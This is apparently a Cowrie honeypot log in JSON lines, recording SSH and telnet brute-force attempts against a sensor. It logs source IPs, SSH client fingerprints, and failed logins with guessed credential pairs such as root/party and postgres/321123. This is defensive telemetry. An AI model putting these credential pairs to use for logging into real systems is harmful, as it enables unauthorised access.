{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:36.618506Z","src_ip":"160.187.174.22","session":"dab87cdf0746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:37.353510Z","src_ip":"160.187.174.22","session":"dab87cdf0746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:38.602494Z","src_ip":"160.187.174.22","session":"dab87cdf0746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35486,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e926f25a285","protocol":"telnet","message":"New connection: 170.64.224.25:35486 (159.203.135.109:23) [session: 9e926f25a285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:50.447797Z"}
{"eventid":"cowrie.session.closed","duration":43.625503063201904,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:59.375372Z","src_ip":"170.64.224.25","session":"ddebf7b743b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":56776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a462349391f6","protocol":"ssh","message":"New connection: 185.242.3.195:56776 (10.17.0.5:22) [session: a462349391f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:01.114815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:01.119047Z","src_ip":"185.242.3.195","session":"a462349391f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:01.209841Z","src_ip":"185.242.3.195","session":"a462349391f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"party","message":"login attempt [root/party] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:01.488911Z","src_ip":"185.242.3.195","session":"a462349391f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:02.582509Z","src_ip":"185.242.3.195","session":"a462349391f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37838,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13f056c8953","protocol":"ssh","message":"New connection: 160.187.174.22:37838 (159.203.135.109:22) [session: f13f056c8953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:03.926284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:03.929822Z","src_ip":"160.187.174.22","session":"f13f056c8953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":34050,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc22275029c","protocol":"ssh","message":"New connection: 172.190.216.105:34050 (10.17.0.5:22) [session: 0bc22275029c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:04.139187Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:04.159990Z","src_ip":"160.187.174.22","session":"f13f056c8953","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:04.381129Z","src_ip":"172.190.216.105","session":"0bc22275029c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:04.390705Z","src_ip":"172.190.216.105","session":"0bc22275029c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:04.875938Z","src_ip":"160.187.174.22","session":"f13f056c8953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:06.110237Z","src_ip":"160.187.174.22","session":"f13f056c8953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:16.536448Z","src_ip":"172.190.216.105","session":"0bc22275029c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45816,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1f9b2257ae","protocol":"ssh","message":"New connection: 160.187.174.22:45816 (159.203.135.109:22) [session: bb1f9b2257ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:30.028030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:30.032730Z","src_ip":"160.187.174.22","session":"bb1f9b2257ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:30.277918Z","src_ip":"160.187.174.22","session":"bb1f9b2257ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:31.012186Z","src_ip":"160.187.174.22","session":"bb1f9b2257ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:32.264427Z","src_ip":"160.187.174.22","session":"bb1f9b2257ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.43663263320923,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:32.884296Z","src_ip":"170.64.224.25","session":"9e926f25a285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.21.105.250","src_port":33775,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b3684bf445","protocol":"ssh","message":"New connection: 111.21.105.250:33775 (10.17.0.5:22) [session: c3b3684bf445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:42.728768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:42.732817Z","src_ip":"111.21.105.250","session":"c3b3684bf445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1229bc27420","protocol":"ssh","message":"New connection: 91.92.40.4:59246 (10.17.0.5:22) [session: f1229bc27420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:52.112283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:52.116285Z","src_ip":"91.92.40.4","session":"f1229bc27420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:52.197279Z","src_ip":"91.92.40.4","session":"f1229bc27420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"321123","message":"login attempt [postgres/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:52.445511Z","src_ip":"91.92.40.4","session":"f1229bc27420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:53.528256Z","src_ip":"91.92.40.4","session":"f1229bc27420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":60604,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de9a409e8ef","protocol":"telnet","message":"New connection: 107.150.146.69:60604 (10.17.0.5:23) [session: 4de9a409e8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:53.673450Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34798,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d8317073016","protocol":"ssh","message":"New connection: 160.187.174.22:34798 (159.203.135.109:22) [session: 9d8317073016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:55.715519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:55.719603Z","src_ip":"160.187.174.22","session":"9d8317073016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:55.971102Z","src_ip":"160.187.174.22","session":"9d8317073016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongo","password":"123456","message":"login attempt [mongo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:56.745038Z","src_ip":"160.187.174.22","session":"9d8317073016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:34:57.996949Z","src_ip":"160.187.174.22","session":"9d8317073016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":39584,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b57d45092df","protocol":"telnet","message":"New connection: 107.150.146.69:39584 (10.17.0.5:23) [session: 2b57d45092df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:00.311217Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44630,"dst_ip":"10.17.0.5","dst_port":22,"session":"402e814ec240","protocol":"ssh","message":"New connection: 194.113.233.25:44630 (10.17.0.5:22) [session: 402e814ec240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:22.371149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:22.375327Z","src_ip":"194.113.233.25","session":"402e814ec240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:22.467706Z","src_ip":"194.113.233.25","session":"402e814ec240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26031994","message":"login attempt [root/26031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:22.740999Z","src_ip":"194.113.233.25","session":"402e814ec240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59386,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6bb842f706a","protocol":"ssh","message":"New connection: 160.187.174.22:59386 (159.203.135.109:22) [session: d6bb842f706a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:23.657492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:23.661412Z","src_ip":"160.187.174.22","session":"d6bb842f706a","protocol":"ssh"}
